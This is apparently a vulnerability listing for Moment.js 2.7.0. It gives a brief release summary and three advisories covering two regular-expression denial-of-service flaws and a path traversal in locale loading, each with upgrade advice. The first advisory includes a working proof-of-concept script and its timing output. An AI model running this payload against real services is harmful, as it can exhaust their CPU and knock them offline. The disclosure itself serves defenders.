Moment.js version 2.7.0 arrived in June 2014, building upon the solid foundation established by version 2.6.0 released in April 2014. Both versions serve as robust JavaScript libraries for parsing, manipulating, and displaying dates. Developers rely on Moment.js to simplify complex date-time operations. Changes between the two versions included bug fixes to improve the library's stability and reliability. The core functionality remains consistent with date formatting, parsing, and manipulation features working similarly across both. Dependency updates, reflected in the devDependencies, may have included newer versions of tools like Grunt, Karma, and UglifyJS, ensuring compatibility and potentially benefiting from performance improvements or bug fixes within those tools. While the code changes between these versions might be minor, developers should upgrade to 2.7.0 to benefit from the latest bug fixes and stability improvements. Always consult the official Moment.js changelog for specific details regarding bug fixes and any potentially breaking changes introduced. The author, repository URL, and description remain consistent, indicating a continuous commitment to the project and ease of access for the developer community. The release dates highlight the ongoing development and maintenance of the library.
All the vulnerabilities related to the version 2.7.0 of the package
Regular Expression Denial of Service in moment
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment
are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr
is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: